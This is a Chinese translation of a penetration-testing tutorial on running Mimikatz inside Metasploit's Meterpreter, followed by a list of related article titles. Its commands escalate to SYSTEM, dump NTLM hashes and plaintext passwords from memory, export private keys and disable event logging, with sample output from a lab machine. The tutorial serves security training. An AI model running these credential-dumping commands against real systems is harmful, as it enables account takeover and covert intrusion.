BMa · 2014/06/23 14:05

from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

0x00 背景


看了各种文章讲神器mimikatz,但是一直没有讲与metasploit使用的。Metasploit其实早就集成了mimikatz,现在将官方的文章翻译给大家。

Mimikatz是Benjamin Delpy (gentilkiwi)写的非常棒的一款后渗透测试工具。在最初渗透阶段之后的大多数时间里,攻击者们可能是想在计算机/网络中得到一个更坚固的立足点。这样做通常需要一组补充的工具。Mimikatz是一种将攻击者想执行的、最有用的任务捆绑在一起的尝试。

幸运地,metasploit已经决定将其作为一个meterpreter脚本来集成mimikatz,允许方便地访问它一系列的特性,而不需要上传任何文件到被盗用主机的磁盘上。

Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已经在他的网站上作为一个独立的包发布了v2.0。这是有必要提出的,因为很多的语法与升级到v2.0已经改变了。

0x01 Loading Mimikatz


在得到一个meterpreter shell后,我们应该确保我们的session是运行在system权限以便让mimikatz正常工作。

#!bash
meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator
meterpreter > getsystem...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
复制代码

Mimikatz支持32位和64位的windows架构。在升级权限到system后,我们需要通过“sysinfo”命令来确认目标机器的架构。这对于64位机器是有必要的,因为我们可能会破坏一个32位的进程在64位的架构上。如果这样的话,meterpreter将会尝试加载32位版本的mimikatz到内存,将可能会使得大部分的特性不可用。这可以通过查看正在运行的进程列表以及在加载mimikatz之前迁移到64位进程来避免。

#!bash
meterpreter > sysinfo
Computer : WINXP-E95CE571A1
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
复制代码

既然这是一个32位机器,我们可以加载mimikatz模块进内存:

#!bash
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > help mimikatz# Mimikatz CommandsCommand           Description-------           -----------kerberos          Attempt to retrieve kerberos credslivessp           Attempt to retrieve livessp credsmimikatz_command  Run a custom commanndmsv               Attempt to retrieve msv creds (hashes)ssp               Attempt to retrieve ssp credstspkg             Attempt to retrieve tspkg credswdigest           Attempt to retrieve wdigest creds
复制代码

Metasploit提供给我们一些内建的命令来查看mimikatz的最常用的功能:从内存中导出hash以及明文证书。Mimikatz_command选项可以让我们使用mimikatz的全部特性。

#!bash
meterpreter > mimikatz_command -f version
mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02)
复制代码

尽管有些不同寻常,我们仍然可以通过尝试加载一个不存在的特性来得到可用模块的完整列表:

#!bash
meterpreter > mimikatz_command -f fu::
Module : 'fu' introuvableModules disponibles : - Standardcrypto    - Cryptographie et certificatshash    - Hashsystem    - Gestion systèmeprocess    - Manipulation des processusthread    - Manipulation des threadsservice    - Manipulation des servicesprivilege    - Manipulation des privilègeshandle    - Manipulation des handlesimpersonate    - Manipulation tokens d'accèswinmine    - Manipulation du démineurminesweeper    - Manipulation du démineur 7nogpo    - Anti-gpo et patchs diverssamdump    - Dump de SAMinject    - Injecteur de librairiests    - Terminal Serverdivers    - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres modulesekurlsa    - Dump des sessions courantes par providers LSASSefs    - Manipulations EFS
复制代码

我们可以使用如下的语法来请求某个模块可用的选项:

#!bash
meterpreter > mimikatz_command -f divers::
Module : 'divers' identifié, mais commande '' introuvableDescription du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres modulenoroutemon    - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routageeventdrop    - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrercancelator    - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une sessionsecrets    - Affiche les secrets utilisateur
复制代码

0x02 从内存中读取hash和密码


我们既可以使用metasploit内建的命令也可以使用mimikatz自带的命令来从目标机器上导出hash和明文证书。

Built-In Metasploit: msv credentials

#!bash
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)
复制代码

kerberos credentials

#!bash
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE
0;56683  NTLM
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword
复制代码

Native Mimikatz:

#!bash
meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : winxp-e95ce571a1
BootKey    : 553d8c1349162121e2a5d3d0f571db7fRid  : 500
User : Administrator
LM   :
NTLM : d6eec67681a3be111b5605849505628fRid  : 501
User : Guest
LM   :
NTLM : Rid  : 1000
User : HelpAssistant
LM   : 6165cd1a0ebc61e470475c82cd451e14
NTLM : Rid  : 1002
User : SUPPORT_388945a0
LM   :
NTLM : 771ee1fce7225b28f8aec4a88aea9b6ameterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
复制代码

<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

0x03 其他的模块


Mimikatz的一些其他模块包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是几个使用实例:

Handle模块可以用来list/kill进程以及模拟用户令牌:

#!bash
meterpreter > mimikatz_command -f handle::
Module : 'handle' identifié, mais commande '' introuvableDescription du module : Manipulation des handleslist    - Affiche les handles du système (pour le moment juste les processus et tokens)processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handlesnullAcl    - Positionne une ACL null sur des Handlesmeterpreter > mimikatz_command -f handle::list
...snip...760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE760  lsass.exe                 ->  1008       Process 704     winlogon.exe760  lsass.exe                 ->  1052       Process 980     svchost.exe760  lsass.exe                 ->  1072       Process 2664    fubar.exe760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE760  lsass.exe                 ->  1096       Process 704     winlogon.exe760  lsass.exe                 ->  1264       Process 1124    svchost.exe760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON760  lsass.exe                 ->  1276       Process 1804    psia.exe760  lsass.exe                 ->  1352       Process 480     jusched.exe760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator
...snip...
复制代码

Service模块让你可以list/start/stop以及remove windows服务:

#!bash
meterpreter > mimikatz_command -f service::
Module : 'service' identifié, mais commande '' introuvableDescription du module : Manipulation des serviceslist    - Liste les services et pilotesstart    - Démarre un service ou pilotestop    - Arrête un service ou piloteremove    - Supprime un service ou pilotemimikatz    - Installe et/ou démarre le pilote mimikatzmeterpreter > mimikatz_command -f service::list
...snip...WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote RegistryKERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts ManagerWIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task SchedulerKERNEL_DRIVER   STOPPED Secdrv  Secdrv1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent
...snip...
复制代码

Crypto模块允许你list、export任何证书,以及储存在目标机器上相应的私钥:

#!bash
meterpreter > mimikatz_command -f crypto::
Module : 'crypto' identifié, mais commande '' introuvableDescription du module : Cryptographie et certificats
listProviders   - Liste les providers installés)listStores    - Liste les magasins système
listCertificates        - Liste les certificatslistKeys    - Liste les conteneurs de clés
exportCertificates      - Exporte les certificatsexportKeys    - Exporte les cléspatchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportablepatchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportablemeterpreter > mimikatz_command -f crypto::listProviders
Providers CryptoAPI :Gemplus GemSAFE Card CSP v1.0Infineon SICRYPT Base Smart Card CSPMicrosoft Base Cryptographic Provider v1.0Microsoft Base DSS and Diffie-Hellman Cryptographic ProviderMicrosoft Base DSS Cryptographic ProviderMicrosoft Base Smart Card Crypto ProviderMicrosoft DH SChannel Cryptographic ProviderMicrosoft Enhanced Cryptographic Provider v1.0Microsoft Enhanced DSS and Diffie-Hellman Cryptographic ProviderMicrosoft Enhanced RSA and AES Cryptographic Provider (Prototype)Microsoft RSA SChannel Cryptographic Provider
复制代码

0x04 Never Lose At Minesweeper Again!


Mimikatz也包含许多新奇的特性。最重要的一个就是能够在经典的windows扫描游戏中,直接从内存中读地雷的位置。

#!bash
meterpreter > mimikatz_command -f winmine::infos
Mines           : 99
Dimension       : 16 lignes x 30 colonnes
Champ           : . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *. . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .. * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .. . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .. . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .. * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .. . . . . . . . . . . * . . . . . * . . . . . * * . . . . .. . . * . * . . . . . * . * . . . . * . . . . * . . . . . .. . . . . * * . * . * . * . * * . * * * . . . . . . . . * .* * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .. . . . * * * 1         1 . . * * . . . * . . . . . . * . *. . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .. . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .. . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .. . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .. * . . . . . * . . . * . 1           1 . * . . . . . . . *
复制代码

Mimikatz ON Metasploit相关推荐

  1. Meterpreter

    监听 AutoRunScrip:自动执行脚本 如:自动执行post/windows/manage/migrate set AutoRunScript post/windows/manage/migra ...

  2. 2020-11-24(dll注入的N种搞法)

    所谓DLL注入,本来是软件用于向其他程序添加/扩展功能.调试或逆向工程的一种合法技术.不过,后来恶意软件也常用这种方式来干坏事.因此,这意味着从安全的角度来看,我们必须知道DLL注入是如何工作的. 之 ...

  3. Metasploit渗透某高校域服务器

    本文作者:i 春秋签约作家--shuteer 前期准备:1. 使用Veil生成免杀PAYLOAD: 2. 有一个外网IP的服务器,安装好metasploit,方便操作. 一.SHELL反弹meterp ...

  4. Metasploit Framework(MSF)的使用

    目录 Metasploit Metasploit的安装和升级 MSF中加载自定义的exploit模块 漏洞利用(exploit) 攻击载荷(payload) Meterpreter MS17_010( ...

  5. [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

  6. Mimikatz 非官方指南和命令参考_Part1

    Her0in · 2016/01/28 10:26 原文地址:adsecurity.org/?page_id=18- 原文作者:Sean Metcalf 译者注: 由于原文中,作者(Sean Metc ...

  7. 渗透测试学习笔记(metasploit)

    METASPLOIT exploit-db.com •Metasploit就是一个漏洞框架.它的全称叫做The Metasploit Framework,简称叫做MSF.Metasploit作为全球最 ...

  8. Metasploit(一) 利用 MS17-010 漏洞进行攻击

    借助 metasploit 利用 MS17-010 漏洞进行攻击 Metasploit 简介 (简称:MSF) 经常被利用的端口 MS17-010利用流程 1. 存活判断 2. 端口扫描 3. 服务识 ...

  9. 渗透测试 ( 3 ) --- Metasploit Framework ( MSF )

    白嫖 :https://zhuanlan.zhihu.com/p/449836479 :http://t.zoukankan.com/hxlinux-p-15787814.html :https:// ...

最新文章

  1. oracle 主机名改ip,[oracle 10.2]主机名或者IP地址改变造成的dbconsole服务无法启动解决...
  2. 惩罚、补偿、正则化、约束的联系和区别
  3. 无法从外部连接MySQL_MySQL不能从外部 连接的解决方法
  4. 学点数学(1)-随机变量函数变换
  5. SpringBoot 3.0最低版本要求的JDK 17,这几个新特性不能不知道!
  6. css grid随页面大小_前端三大布局,float,flex,grid的介绍。
  7. Java 实现MD5
  8. 后台管理系统之题库管理
  9. 【一起学系列】之迭代器组合:虽然有点用不上啦
  10. FANUC机器人示教时遇到奇异点的解决办法
  11. XShell下载安装并连接阿里云
  12. 每天一练——输入一行字符串,按如下规则加密:如果是英文字母则大写变小写、小写变大写,对非英文字符则保持不变。试写加密程序。
  13. 如何使用腾讯云轻量应用服务器搭建免费开源企业CMS?
  14. 12uec++多人游戏【自定义碰撞通道+头部暴击+连续开火】
  15. MATLAB-样条插值运算
  16. MySQL数据库高可用之mmm
  17. python抽取某个时间段的数据_python 批量提取excel 指定时间段的数据
  18. 学生台灯护眼灯哪个牌子好性价比高?学生护眼台灯十大牌子
  19. 解决PCB焊盘堵,PCB通孔的方法(个人总结)
  20. 熬夜对身体造成多种的损害

热门文章

  1. 计算机收藏夹无法添加,在win7中,怎么解决无法添加网页到IE收藏夹?
  2. 天地图-第七篇-按轨迹运动
  3. 怎么通过API获取BILIBILI粉丝数
  4. python中import语句的作用是什么_什么是Pythonimport语句?在Python中的import语句作用有哪些?...
  5. python数据提取txt到excel
  6. 数据科学包——pandas基础(处理丢失数据、统计、合并、分组)
  7. C语言生产者消费者实验报告,生产者与消费者实验报告.doc
  8. 盘点几个linux中有趣的游戏 。
  9. 如何用优启通制作U盘启动盘
  10. vue 使用 FullCalendar 实现日程管理 外部拖拽 自定义事件 事件拖拽 缩放 悬浮框 分类